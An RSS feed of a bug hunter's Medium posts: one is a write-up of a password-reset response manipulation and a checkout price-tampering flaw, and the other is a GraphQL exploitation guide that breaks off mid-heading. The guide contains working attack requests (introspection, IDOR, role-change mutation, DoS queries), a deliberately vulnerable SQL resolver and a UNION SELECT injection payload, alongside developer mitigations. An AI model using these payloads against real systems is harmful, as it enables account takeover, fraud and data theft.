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        <title><![CDATA[Stories by 0xhamd000n on Medium]]></title>
        <description><![CDATA[Stories by 0xhamd000n on Medium]]></description>
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            <title>Stories by 0xhamd000n on Medium</title>
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            <title><![CDATA[Logic Bugz always win ]]></title>
            <link>https://medium.com/@0xhamd000n/logic-bugz-always-win-9270cb002c62?source=rss-b772cf695aa3------2</link>
            <guid isPermaLink="false">https://medium.com/p/9270cb002c62</guid>
            <dc:creator><![CDATA[0xhamd000n]]></dc:creator>
            <pubDate>Fri, 14 Nov 2025 20:51:13 GMT</pubDate>
            <atom:updated>2025-11-14T22:18:06.101Z</atom:updated>
            <content:encoded><![CDATA[<h3>Logic Bugz always win</h3><p><strong>اللهم صلي علي سيدنا محمد وعلي آله وصحبه اجمعين <br>عَنْ أَبِي هُرَيْرَةَ قَالَ , قَالَ رَسُولُ اللَّهِ صَلَّى اللَّهُ عَلَيْهِ وَسَلَّمَ: ( اللَّهُمَّ انْفَعْنِي بِمَا عَلَّمْتَنِي وَعَلِّمْنِي مَا يَنْفَعُنِي وَزِدْنِي عِلْمًا) <br>لا تنسو الدعاء لاخواتنا المستضعفين</strong></p><blockquote><strong>Hello Friend,</strong><br> I’m Hamdy, also known as {<strong>m0xy}</strong> — a Security Researcher and Bug Hunter.<br> Today, I’ll explain this to you During my research on the target program, I identified several critical logic vulnerabilities, including the ability to manipulate product prices and a flaw in the password reset flow that allowed full account takeover without knowing the security question</blockquote><p>Let’s Goooo</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/245/1*c9iYUlORhg9uRPt7fINZiw.gif" /></figure><h3><strong>Senario 1 account takeover reset password via response manipulation :</strong></h3><h3><strong>Root case 🧠:</strong></h3><ul><li>The application trusts the client‑side response during the password reset flow instead of performing full server‑side validation.</li><li>The security question answer is not validated on the server, and the backend accepts a password change as long as the HTTP response appears successful.</li><li>Lack of server‑side enforcement for the reset‑password logic, which allows attackers to manipulate the</li></ul><h3>Steps to Reproduce :</h3><p>1- sign in target.com/signin</p><p>2- log out</p><p>3- Click on <strong>Forgot Password</strong></p><p>4- Enter any value in the security question field and set a new password</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*waIR2m1sBat2Tf0ADAF1uQ.png" /></figure><p>Intercept the request and Modify response status to indicate a successful operation <strong>200 OK </strong>and forward the request</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4R2MKexpX-ykmEH9oqH1-Q.png" /><figcaption>Modify To 200 OK</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N2a6vPNJ_fuZCktok7MZ8A.png" /><figcaption>change password successful</figcaption></figure><h3><strong>Impact:</strong></h3><ul><li>Allows an attacker to full take over any user account without knowing the original password or the security question.</li><li>Compromises the confidentiality and integrity of user data.</li><li>Enables unauthorized access to personal information, order history, and any sensitive data stored in the account.</li><li>Can lead to financial loss, unauthorized transactions, or reputation damage for the platform</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*olrB74bwno1IWyIBlBguMQ.gif" /></figure><h3><strong>Senario 2 critical Business Logic Price Manipulation :</strong></h3><h3>Root case 🧠:</h3><ul><li><strong>Server trusts client‑side price values </strong><br> The backend accepts the product price sent from the client request instead of recalculating or validating it server‑side</li><li><strong>No server‑side validation during checkout </strong><br> The application does not verify the final price against the product’s actual price stored in the database before processing the order</li></ul><h3>Steps to Reproduce :</h3><ul><li>Go to the shop page and add any item to the cart.</li><li>Continue to the checkout page and enter the required customer details.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O37FAqXN5SKoBH3f_O1syg.png" /></figure><ul><li>Before confirming the payment, intercept the request</li><li>In the intercepted request, observe that the product price is controlled client-side &quot;amount&quot;:price</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iBjbOghwE-6I3BnQhfK_0A.png" /><figcaption><strong>Modify “</strong><strong>amount”:320 to “</strong><strong>amount”:1</strong></figcaption></figure><ul><li>Modify the price value in the request before it is forwarded to the payment processor (third-party gateway payment).</li><li>Forward the modified request and notice that the system accepts the altered price and processes the order based on the manipulated amount</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sEQXxtMFao4QJ__lGAOckA.png" /><figcaption>price 1 EGP successful</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*08AuUtF9hDXf55jNrvNCSA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cI4eQUxh92AK7ih-oGeIjg.png" /></figure><h3><strong>Impact :</strong></h3><ul><li>An attacker can reduce the product price to any value</li><li>Inventory reduces while revenue does not match actual transactions, causing incorrect financial records.</li><li>Orders get processed with manipulated amounts, leading to invalid or unpaid purchases.</li><li>Attackers can repeatedly exploit the flaw to buy high‑value items for extremely low prices</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*lYRlEOkAWA2IYNa7HzA24A.gif" /><figcaption>Finaly</figcaption></figure><h3><strong>Contact with me :</strong></h3><h4><a href="https://x.com/m000xy">X</a></h4><h4><a href="https://www.linkedin.com/in/m00xy/">LinkedIn</a></h4><h4>Happy Hacking 3&gt;</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/245/1*9YCUoNmEYk3x_D_OnDHbsQ.gif" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9270cb002c62" width="1" height="1" alt="">]]></content:encoded>
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            <title><![CDATA[Exploiting GraphQL: A Complete Guide for Bug Bounty Hunters]]></title>
            <link>https://medium.com/@0xhamd000n/exploiting-graphql-a-complete-guide-for-bug-bounty-hunters-355fecb02eb0?source=rss-b772cf695aa3------2</link>
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            <dc:creator><![CDATA[0xhamd000n]]></dc:creator>
            <pubDate>Mon, 07 Jul 2025 17:07:20 GMT</pubDate>
            <atom:updated>2025-07-07T17:31:12.011Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*EI2sHq8jCR5iJtKSDFIx3w.jpeg" /></figure><h4>“بسم الله والصلاة والسلام علي نبينا محمد عليه افضل الصلاة والسلام”</h4><p>Hello Hackers!!</p><p>I hope you are well, my name’s Hamdy {M00xy} I’m excited to share my first write-up with you one of the most underestimated and dangerous areas in modern web apps — GraphQL vulnerabilities .</p><blockquote>In this write-up, we’ll cover: <br>- What GraphQL is, and why developers use it over REST <br>- The key differences between REST and GraphQL <br>- The core components of any GraphQL API <br>- Common security mistakes and real-world vulnerabilities <br>- How to exploit these issues as a bug bounty hunter <br>- And finally, how developers can secure their GraphQL APIs properly</blockquote><blockquote>Before I go into details, I would like to thank my brother <a href="https://medium.com/u/c2ea3bbe3b5">Hx0_0h4nf1</a> for helping me with cyber security</blockquote><p>Without wasting any time… let’s go!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*XKhfZXfAyy3n_xzGm5ut9Q.gif" /></figure><h3>What is GraphQL?</h3><p>GraphQL is a query language for APIs, designed to make data fetching more efficient and <strong>flexible compared to traditional REST APIs</strong>. Developed by Facebook in 2012 and open-sourced in 2015, GraphQL allows clients to request exactly the data they need, reducing over-fetching or under-fetching of data. <strong>Unlike REST, where multiple endpoints return fixed data structures, GraphQL uses a single endpoint and a schema to define the structure of available data</strong>, enabling clients to query it in a tailored way, Also, the advantage of GraphQL is that you request specific data and get it back in response, unlike REST, which returns a lot of unwanted data</p><h3>Why GraphQL Is a Goldmine in Bug Bounty?</h3><p>GraphQL APIs often open the door to serious vulnerabilities — not because the tech is broken, but because <strong>most developers misconfigure it</strong>.</p><p>Here’s why bug hunters love GraphQL:</p><blockquote>- It gives <strong>detailed error messages</strong>, which sometimes leak sensitive internal info<br>- You can use <strong>introspection</strong> to reveal the full structure of the API (yes, all queries, mutations, and types)<br>- Security controls like <strong>auth, rate limiting</strong>, and <strong>access checks</strong> are often either weak or missing completely</blockquote><h4>This makes GraphQL a great place to find:</h4><p>- <strong>IDORs</strong> =&gt; (especially inside complex nested queries)<br>- <strong>Information Disclosure </strong>=&gt; through verbose errors or exposed fields<br>- <strong>Privilege Escalation </strong>=&gt; if roles aren’t properly enforced<br>- <strong>Denial of Service </strong>=&gt; via query abuse or batching<br>- <strong>Injection </strong>=&gt; through poorly handled inputs in queries or resolvers</p><h4><strong>How do you know this is a GraphQL or not?</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T1A99v8V-021SNbIe4avkA.png" /><figcaption>GraphQL sample request</figcaption></figure><p><strong>It contains some curly brackets and \n characters. If you see something like this, it’s likely GraphQL</strong>.</p><h3>Why do developers love GraphQL?</h3><blockquote>It saves a lot of time and effort. Front End sends all requests as Multiple Endpoints, <strong>while GraphQL sends a Single Endpoint containing all the data you requested. </strong><br><strong>Precision</strong>: You only get the data you ask for — no extra payload. <br><strong>Efficiency</strong>: One request can fetch multiple resources. <br><strong>Flexibility</strong>: Frontend teams can shape their own queries without backend changes. <br><strong>Speed</strong>: Reduces over-fetching and under-fetching common in REST APIs.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*Uyv9LchfVng7GQw-pLHZNg.png" /><figcaption>REST API Request VS GraphQL Request</figcaption></figure><blockquote>But… this flexibility comes with a big price when security isn’t done right And here lies the danger and the attack</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*B4m-9f2r0A_AusqmNVZf4Q.gif" /></figure><h4>Core Components of GraphQL API:</h4><p>- <strong>Schema</strong>: Describes the types and structure of the data.<br>- <strong>Query</strong>: Used to read/fetch data.<br>- <strong>Mutation</strong>: Used to modify data (insert, update, delete).<br>- <strong>Resolver</strong>: Functions that handle the actual logic behind a query/mutation.<br>- <strong>Type System</strong>: Defines what kind of data (String, Int, Object, etc.).<br>- <strong>Introspection</strong>: A dangerous feature used in a special query to ask the server about its private structure (often abused by attackers).</p><h3>1- REST API</h3><p><strong>You want to fetch a user’s name, email, and their posts.</strong></p><h4><strong>Request (users):</strong></h4><pre>GET /users/1</pre><h4>Response (users):</h4><pre><br>{  <br>  &quot;id&quot;: 1,  <br>  &quot;name&quot;: &quot;Hamdy&quot;,  <br>  &quot;email&quot;: &quot;hamdy@example.com&quot;,  <br>  &quot;created_at&quot;: &quot;2023-01-01&quot;,  <br>  &quot;updated_at&quot;: &quot;2023-01-10&quot;  <br>}</pre><h4>Request (posts):</h4><pre>GET /users/1/posts</pre><h4>Response (posts):</h4><pre><br>  {  <br>    &quot;id&quot;: 101,  <br>    &quot;title&quot;: &quot;First Post&quot;,  <br>    &quot;content&quot;: &quot;This is my first post&quot;  <br>  },  <br>  {  <br>    &quot;id&quot;: 102,  <br>    &quot;title&quot;: &quot;Second Post&quot;,  <br>    &quot;content&quot;: &quot;This is my second post&quot;  <br>  }  </pre><p><strong>But there are some important notes that can be noted</strong></p><p>- Requires <strong>2 separate requests</strong> (one for user info, one for posts).<br>- Returns more data than needed (like “created_at”, “updated_at”) =&gt; This is an opportunity for hackers because they can use the extra information.<br>- If you need more info, you need more requests or new endpoints.</p><h3>2- GraphQL API</h3><h4>Request:</h4><pre><br>POST /graphql  <br>Content-Type: application/json  <br>{  <br>  &quot;query&quot;: &quot;  <br>    {  <br>      user(id: 1) {  <br>        name  <br>        email  <br>        posts {  <br>          title  <br>        }  <br>      }  <br>    }  <br>  &quot;  <br>}</pre><h4>Response:</h4><pre>{ <br> &quot;data&quot;: { <br> &quot;user&quot;: { <br> &quot;name&quot;: &quot;Hamdy&quot;, <br> &quot;email&quot;: &quot;hamdy@example.com&quot;, <br> &quot;posts&quot;: [ <br> { &quot;title&quot;: &quot;First Post&quot; }, <br> { &quot;title&quot;: &quot;Second Post&quot; } <br> ] <br> } <br> } <br>}</pre><h4>Advantages GraphQL :</h4><ul><li>Everything is returned in <strong>a single request</strong>.<br>- You only get <strong>exactly what you asked for</strong> — no extra data.<br>- Single endpoint: ‘/graphql’<br>- Fully flexible and frontend-controlled.</li></ul><h3>1- GraphQL Introspection</h3><h4>What is Introspection in GraphQL?</h4><p><strong>Introspection</strong> is a built-in feature in GraphQL that allows clients (and attackers ) to ask the API about its <strong>entire schema</strong>:</p><p><strong>Hey API, what queries, mutations, and data types do you support?</strong></p><p>If enabled in production, introspection gives you a <strong>complete blueprint of the system</strong> — including every query, mutation, type, and hidden entry point.</p><h3>Why Is It a Security Risk?</h3><h4>When introspection is enabled, attackers can:</h4><ul><li>Map out the entire backend<br>- Discover sensitive fields (‘token’, ‘password’, ‘resetPasswordToken’)<br>- Enumerate available mutations (‘createAdmin’, ‘deleteUser’)<br>- Find misconfigurations or vulnerable business logic<br>- Craft powerful attack chains without guessing</li></ul><h3>Full Introspection Query</h3><p>This query will extract <strong>everything</strong> the GraphQL server exposes:</p><h4>Request:</h4><pre>{ <br> &quot;query&quot;: &quot; <br> query IntrospectionQuery { <br> __schema { <br> queryType { name } <br> mutationType { name } <br> subscriptionType { name } <br> types { <br> …FullType <br> } <br> directives { <br> name <br> description <br> locations <br> args { <br> …InputValue <br> } <br> } <br> } <br> } <br> <br> fragment FullType on __Type { <br> kind <br> name <br> description <br> fields(includeDeprecated: true) { <br> name <br> description <br> args { <br> …InputValue <br> } <br> type { <br> …TypeRef <br> } <br> isDeprecated <br> deprecationReason <br> } <br> inputFields { <br> …InputValue <br> } <br> interfaces { <br> …TypeRef <br> } <br> enumValues(includeDeprecated: true) { <br> name <br> description <br> isDeprecated <br> deprecationReason <br> } <br> possibleTypes { <br> …TypeRef <br> } <br> } <br> <br> fragment InputValue on __InputValue { <br> name <br> description <br> type { …TypeRef } <br> defaultValue <br> } <br> <br> fragment TypeRef on __Type { <br> kind <br> name <br> ofType { <br> kind <br> name <br> ofType { <br> kind <br> name <br> ofType { <br> kind <br> name <br> ofType { <br> kind <br> name <br> ofType { <br> kind <br> name <br> ofType { <br> kind <br> name <br> ofType { <br> kind <br> name <br> } <br> } <br> } <br> } <br> } <br> } <br> } <br> } <br> &quot;, <br> &quot;variables&quot;: null <br>}</pre><h4>Response:</h4><pre><br>{  <br>  &quot;data&quot;: {  <br>    &quot;__schema&quot;: {  <br>      &quot;queryType&quot;: { &quot;name&quot;: &quot;Query&quot; },  <br>      &quot;mutationType&quot;: { &quot;name&quot;: &quot;Mutation&quot; },  <br>      &quot;types&quot;: [  <br>        {  <br>          &quot;name&quot;: &quot;User&quot;,  <br>          &quot;fields&quot;: [  <br>            { &quot;name&quot;: &quot;id&quot; },  <br>            { &quot;name&quot;: &quot;email&quot; },  <br>            { &quot;name&quot;: &quot;password&quot; },  <br>            { &quot;name&quot;: &quot;token&quot; },  <br>            { &quot;name&quot;: &quot;resetPasswordToken&quot; },  <br>            { &quot;name&quot;: &quot;role&quot; }  <br>          ]  <br>        },  <br>        {  <br>          &quot;name&quot;: &quot;Mutation&quot;,  <br>          &quot;fields&quot;: [  <br>            { &quot;name&quot;: &quot;createUser&quot; },  <br>            { &quot;name&quot;: &quot;deleteUser&quot; },  <br>            { &quot;name&quot;: &quot;resetPassword&quot; },  <br>            { &quot;name&quot;: &quot;changeRole&quot; }  <br>          ]  <br>        },  <br>        {  <br>          &quot;name&quot;: &quot;AdminUser&quot;,  <br>          &quot;fields&quot;: [  <br>            { &quot;name&quot;: &quot;email&quot; },  <br>            { &quot;name&quot;: &quot;adminToken&quot; }  <br>          ]  <br>        }  <br>      ]  <br>    }  <br>  }  <br>}</pre><h4>From this single request, an attacker learns:</h4><ul><li>`User` type includes ‘password’, ‘token’, and ‘resetPasswordToken’<br>- Mutations exist for ‘deleteUser’, ‘changeRole’, ‘resetPassword’ without knowing the schema<br>- Hidden type ‘AdminUser’ contains ‘adminToken’ — that’s a red flag!</li></ul><h4>How to Check If Introspection is Enabled?</h4><pre>{ <br> __schema { <br> queryType { <br> name <br> } <br> } <br>}</pre><p>If you get a response — <strong>Introspection is likely enabled</strong> ✅</p><h4><strong>There are tools for hacking and knowing the GraphQL details and secrets {GraphQL Voyager-inql (Burp suite) }</strong></h4><h3>1- How to use GraphQL Voyager?</h3><p>Link: <a href="https://graphql-kit.com/graphql-voyager/">https://graphql-kit.com/graphql-voyager/</a></p><h4>What It Does:</h4><p>- Takes the introspection result and turns it into an <strong>interactive graph</strong><br>- Shows all types, relationships, inputs, and connections visually</p><h4>Why It’s Useful:</h4><p>- You can <strong>visualize complex APIs</strong> fast<br>- Spot dangerous mutations like ‘deleteUser‘, ‘createAdmin‘<br>- See field-level details, arguments, and return types</p><h4>Now you see the steps to take the response and paste in Introspection and press the display button</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6CxY84JVgdbtI2PA9TUuug.png" /></figure><h4>And this results:</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ijvuw4siOaggMJ00a8IaMA.png" /></figure><p><strong>Steps to Use It:</strong></p><ol><li>Go to the site<br>2. Paste the introspection JSON response (like the one above)<br>3. Explore the entire schema visually</li></ol><h4>How to use InQL (Burp Suite Extension)</h4><h4>What Is InQL?</h4><blockquote>This extension is designed to assist in your GraphQL security testing efforts. It simplifies the identification of vulnerabilities within GraphQL endpoints by offering intuitive tools for schema analysis, query generation, and vulnerability detection. The main tool provided is a customizable scanner that analyzes a GraphQL endpoint or a local introspection schema file. It generates all possible queries and mutations, presenting them in an organized view for thorough analysis. Scanner results can be sent to Burp’s Repeater or Intruder tools for further testing.</blockquote><h4>Features:</h4><p>-<strong>Scanner</strong>: The core feature for analyzing GraphQL endpoints or introspection schema files. It auto-generates queries, mutations, and subscriptions, offering customizable scan options, including query depth, indentation, and points of interest analysis for detecting vulnerabilities. It also supports circular reference detection, enhanced Burp integration, and custom headers per domain for more precise testing.<br>- <strong>Batch Queries</strong>: Run batch GraphQL attacks to test for rate limit bypasses and DoS vectors.<br>- <strong>GraphQL Tab in Burp Message Editor</strong>: Visualize and modify GraphQL payloads directly within Burp’s native HTTP message editor.<br>- <strong>Schema Visualization</strong>: Send analyzed schemas to GraphiQL or GraphQL Voyager servers for enhanced analysis and visualization.<br>- Pulls schema using introspection<br>- Lists all queries, mutations, types<br>- Automatically creates Burp Repeater requests<br>- Great for fuzzing, testing auth, and recon</p><h4><strong>Installation (in Burp):</strong></h4><p>- Open <strong>Extender &gt; BApp Store</strong><br>- Search for <strong>InQL</strong><br>- Click <strong>Install</strong><br>- You’ll see a new <strong>InQL tab</strong> in Burp</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ukCbfu4bNf8Twh8d4c-TTg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TB66WhMCSNeVvvzqT7hAOg.png" /></figure><h4>How to Use It:</h4><p>1. Paste the target endpoint (e.g. [<a href="https://target.com/graphql](https://target.com/graphql%29)%60[)](https://target.com/graphql%29)">https://target.com/graphql]</a> )<br>2. Click “<strong>analyze”</strong><br>3. It fetches and lists all queries/mutations<br>4. too You can send any one directly to <strong>Repeater</strong> and start testing manually<br>5. Combine with payloads to test for:</p><ul><li>Broken access control<br>- Token leaks<br>- Auth bypass</li></ul><h4>Exploit For Example</h4><ol><li>InQL finds ‘resetPassword(email: String)‘<br>2. You test it with ‘<a href="/service/mailto:admin@example.com">admin@example.com</a>‘<br>3. It returns a ‘resetToken‘ <br>4. Use mutation ‘changePassword(resetToken: “…”, newPassword: “123456”)‘<br>5. You now control an admin account</li></ol><h3>How to Fix For Developers (Mitigation):</h3><blockquote>Disable introspection in production:</blockquote><blockquote>‘introspection: process.env.NODE_ENV !== ‘production’‘</blockquote><blockquote>Add authentication checks <strong>before</strong> serving introspection.</blockquote><blockquote>Implement proper <strong>authorization at the resolver level.</strong></blockquote><blockquote>Don’t rely on obscurity — secure your logic.</blockquote><h3>2- Field-Level Authorization Bypass:</h3><p>Before anything else, we must differentiate between authentication<br> (“Who are you?”) | login, token <br>authorization (“What are you allowed to do?”), can you delete a user? View someone’s data?</p><p>In GraphQL, a major problem often lies in authorization, <strong>which means verifying that you are allowed to do something is either non-existent or widespread.</strong></p><h3><strong>What is it?</strong></h3><p>Most developers apply access control at the <strong>endpoint or query level</strong>, but forget to secure <strong>individual fields</strong>.</p><p>So if a user is supposed to access only their own data — <strong>but the API doesn’t block sensitive fields — you can just… ask for them.</strong></p><p>Sometimes, all it takes is one missing check… and boom you’re inside someone else’s account, or worse — an admin panel.</p><p>Let’s walk through a simple (and <strong>very common</strong>) mistake in GraphQL backends.</p><h3>Backend Resolver Code (Vulnerable)</h3><pre>const resolvers = { <br> Query: { <br> user: (_, { id }, context) =&gt; { <br> return Users.findById(id); // ❌ No authorization check! <br> } <br> } <br>}</pre><blockquote>Looks innocent, right?</blockquote><blockquote>But this means <strong>any logged-in user can fetch any user’s data</strong>, as long as they know the ID. <br> And if introspection is enabled, they’ll know exactly what fields exist — no guessing needed.</blockquote><h3><strong>What’s Wrong Here?</strong></h3><blockquote>No ‘context.user.id‘ check → No ‘isOwner‘ or ‘isAdmin‘ check → Direct exposure.</blockquote><p>This opens the door for <strong>multiple vulnerabilities</strong> at once:</p><h3>1- IDOR (Insecure Direct Object Reference)</h3><h3>What It Is:</h3><h4>User A can access User B’s data by changing an ID.</h4><h3>Request:</h3><pre>{ <br> user(id: 2) { <br> id <br> name <br> email <br> role <br> }</pre><h4>Response:</h4><pre>{ <br> &quot;data&quot;: { <br> &quot;user&quot;: { <br> &quot;id&quot;: 2, <br> &quot;name&quot;: &quot;admin&quot;, <br> &quot;email&quot;: &quot;admin@example.com&quot;, <br> &quot;role&quot;: &quot;admin&quot; <br> } <br> } <br>}</pre><p>Even if you’re just a basic user, you’ve now pulled <strong>another user’s full profile</strong>, including their role.</p><h3>2- Field-Level Authorization Bypass</h3><p>Let’s say ‘token‘, ‘resetPasswordToken‘, and ‘permissions‘ are sensitive — but the resolver returns them anyway:</p><h4>Request:</h4><pre>{ <br> user(id: 2) { <br> id <br> name <br> email <br> token <br> resetPasswordToken <br> permissions <br> } <br>}</pre><h4>Response:</h4><pre>{ <br> &quot;data&quot;: { <br> &quot;user&quot;: { <br> &quot;id&quot;: 2, <br> &quot;name&quot;: &quot;admin&quot;, <br> &quot;email&quot;: &quot;admin@example.com&quot;, <br> &quot;token&quot;: &quot;eyJhbGciOiJIUzI1NiIs…&quot;, <br> &quot;resetPasswordToken&quot;: &quot;RkFLS0VZ&quot;, <br> &quot;permissions&quot;: [&quot;delete_users&quot;, &quot;change_roles&quot;] <br> } <br> } <br>}</pre><p><strong>No auth check per field = total exposure.</strong></p><h3>3- Information Disclosure</h3><p>Even if a query fails — GraphQL often gives <strong>too much info</strong> back:</p><h4>Request:</h4><pre>{ <br> getAdminUsers { <br> name <br> secretKey <br> } <br>}</pre><h4>Response:</h4><pre>{ <br> &quot;errors&quot;: [ <br> { <br> &quot;message&quot;: &quot;Cannot query field &#39;getAdminUsers&#39; on type &#39;Query&#39;&quot;, <br> &quot;extensions&quot;: { <br> &quot;exception&quot;: { <br> &quot;stacktrace&quot;: [ <br> &quot;at getAdminUsers (/app/resolvers/admin.js:21:5)&quot;, <br> &quot;at Object.execute (/node_modules/graphql/…)&quot; <br> ] <br> } <br> } <br> } <br> ] <br>}</pre><p><strong>Boom. Now you know there’s a resolver called ‘getAdminUsers’, and exactly where it lives in the codebase.</strong></p><h3>4- Privilege Escalation via Mutations</h3><p>Let’s say introspection showed a mutation called:</p><pre>mutation { <br> changeUserRole(userId: 2, role: &quot;admin&quot;) { <br> success <br> } <br>}</pre><p>You run it… and it works.</p><p>No ‘isAdmin’ check = you just made yourself an admin</p><h4>Where These Issues Usually Hide?:</h4><p><strong>AreaCommon Mistake: <br>Queries</strong>: Return full objects without auth (IDOR, leaks) <br><strong>Mutations</strong>: No role check → Privilege escalation <br><strong>Subscriptions</strong>: Let users see events they shouldn’t (e.g. logs, chats) <br><strong>Nested Resolvers</strong>: Sensitive fields nested deep, returned without control</p><h3>How to Fix For Developers (Mitigation)</h3><p>1. Always check `context.user` in every <strong>resolver</strong>, not just at the endpoint level.<br>2. Use helper functions like `canAccess(user, resource)` or `requireAdmin(context)`<br>3. Deny access by default — only allow what’s explicitly authorized.<br>4. Sanitize all inputs, especially in mutations.<br>5. Disable introspection in production:</p><p>introspection: process.env.NODE_ENV !== ‘production’</p><h3>Tips For Bug Hunters</h3><p>If you find <strong>one resolver without a proper check</strong>, test every field inside it. <br> Try:</p><p>- Changing IDs<br>- Requesting sensitive fields<br>- Running admin-level mutations<br>- Observing errors for info leaks</p><blockquote>The logic might look secure on the outside — but deep down, GraphQL often leaks more than it should.</blockquote><h3>5-Denial of Service (DoS) via Deep Query / Batching</h3><h3>What is it?</h3><p>In GraphQL, attackers can abuse the recursive nature of the API to cause <strong>excessive computation</strong> or <strong>resource exhaustion</strong>.</p><p>There are two main types:</p><p>1. <strong>Deep queries =&gt;</strong> (abusing nested relationships)<br>2. <strong>Query batching / alias abuse</strong> =&gt; (sending 100s of queries in one)</p><h4>Deep Query DoS Example:</h4><pre>{   <br> user(id: 1) { <br> friends { <br> friends { <br> friends { <br> friends { <br> friends { <br> name <br> id <br> } <br> } <br> } <br> } <br> } <br> } <br>}</pre><p>This one query could cause <strong>huge CPU usage</strong> if the server doesn’t limit depth.</p><h4>Batching/Alias Abuse Example:</h4><pre>{ <br> a1: user(id: 1) { email } <br> a2: user(id: 1) { email } <br> a3: user(id: 1) { email } <br> … <br> a100: user(id: 1) { email } <br>}</pre><p>- This bypasses <strong>rate limits</strong><br>- Can be used to <strong>scrape data fast</strong><br>- Or just to <strong>exhaust resources</strong></p><h3>How to Fix For Developers (Mitigation):</h3><h4>attackers abuse GraphQL’s flexibility by sending:</h4><p>- <strong>Deeply nested queries =&gt;</strong> (infinite recursions).<br>- <strong>Query aliasing / batching =&gt;</strong> (hundreds of operations in one request.</p><h4>1. Limit Query Depth</h4><p>Use libraries like ‘graphql-depth-limit‘:</p><pre>const depthLimit = require(&#39;graphql-depth-limit&#39;); <br>app.use(&#39;/graphql&#39;, graphqlHTTP({ <br> schema, <br> validationRules: [depthLimit(5)], // max 5 levels <br>}));</pre><p>This prevents recursive queries like:</p><pre>user { friends { friends { friends { friends { … }}}}}</pre><h4>2. Disable or Limit Query Aliases</h4><p>Limit how many operations/aliases can be sent in one request:</p><pre>validationRules: [ <br> depthLimit(5), <br> maxComplexity(100), // Optional: max cost based on fields <br>]</pre><h4>3. Rate Limiting</h4><p>Treat ‘/graphql‘ as a dynamic endpoint and apply global rate limits (per IP/token).</p><h4>4. Timeouts &amp; Execution Limits</h4><p>Use tools like Apollo’s ‘graphql-query-complexity‘ to calculate cost of each request and reject complex ones.</p><h3>2-Injection Attacks in GraphQL</h3><h4>GraphQL Injection ≠ Just GraphQL</h4><h4>Sometimes, inputs passed to GraphQL go deeper — they hit:</h4><blockquote>SQL queries</blockquote><blockquote>OS commands</blockquote><blockquote>Internal services</blockquote><blockquote>File systems</blockquote><blockquote>XML parsers</blockquote><p>This is where the real work begins.</p><h3>1- SQL Injection in GraphQL</h3><h4>Scenario:</h4><pre>mutation { <br> login(username: &quot;admin&quot;, password: &quot;pass123&quot;) <br>}</pre><h4>Backend:</h4><pre>const resolvers = {<br>  Mutation: {<br>    login: async (_, { username, password }) =&gt; {<br>      const query = `SELECT * FROM users WHERE username = &#39;${username}&#39; AND password = &#39;${password}&#39;`;<br>      const user = await db.query(query);<br>      return user;<br>    }<br>  }<br>}</pre><h4>Payload:</h4><pre>mutation {<br>  login(username: &quot;admin&#39; UNION SELECT null,username,password FROM users -- &quot;, password: &quot;any&quot;)<br>}</pre><h3>What’s wrong here?</h3><ul><li>Inputs are <strong>directly injected</strong> into the SQL query.</li><li>There are <strong>no prepared statements</strong> or sanitization.</li><li>An attacker can inject SQL payloads to modify the query logic entirely</li></ul><h4>Response GraphQL:</h4><pre>{<br>  &quot;data&quot;: {<br>    &quot;login&quot;: [<br>      {<br>        &quot;username&quot;: &quot;admin&quot;,<br>        &quot;password&quot;: &quot;hashed_pw_1&quot;<br>      },<br>      {<br>        &quot;username&quot;: &quot;mo00xy&quot;,<br>        &quot;password&quot;: &quot;hashed_pw_2&quot;<br>      },<br>      ...<br>    ]<br>  }<br>}</pre><blockquote>Exploit Chain Possibilities:</blockquote><blockquote>Dump users table → ‘UNION SELECT‘</blockquote><blockquote>Read sensitive tables (‘information_schema‘)</blockquote><blockquote>Write files using ‘INTO OUTFILE‘</blockquote><blockquote>Load malicious DLLs</blockquote><blockquote>Trigger RCE via SQL (e.g., in MySQL + INTO OUTFILE + webroot access)</blockquote><blockquote>Trigger SSRF via ‘LOAD_FILE(‘<a href="http://127.0.0.1:port&#39;)`">http://127.0.0.1:port&#39;)</a>‘</blockquote><blockquote>Purpose of exploitation:</blockquote><blockquote>Dump all data</blockquote><blockquote>Steal sessions / reset tokens</blockquote><blockquote>Create admin user</blockquote><blockquote>Achieve RCE via file write or DB trigger abuse</blockquote><h3>How to Fix For Developers (Mitigation):</h3><ul><li><strong>Always use parameterized queries / prepared statements</strong> — never build SQL strings by concatenating user input.</li></ul><pre>// Example in Node.js (MySQL)<br>db.query(&quot;SELECT * FROM users WHERE email = ?&quot;, [email]);<br>// Example in Python (with psycopg2 or similar)<br>cursor.execute(&quot;SELECT * FROM users WHERE email = %s&quot;, (email,))</pre><ul><li>Use <strong>ORM libraries</strong> like Sequelize, Prisma, or SQLAlchemy — they handle escaping and reduce injection risks.</li><li><strong>Never trust GraphQL input directly inside raw SQL</strong> — always sanitize and validate user data.</li><li>Validate input types and formats — for example, ensure numbers are actually numbers, not strings or code.</li><li>Avoid exposing raw database errors to the client.<br> Instead, use generic error messages in production environments to prevent information leaks.</li></ul><h3>2- Command 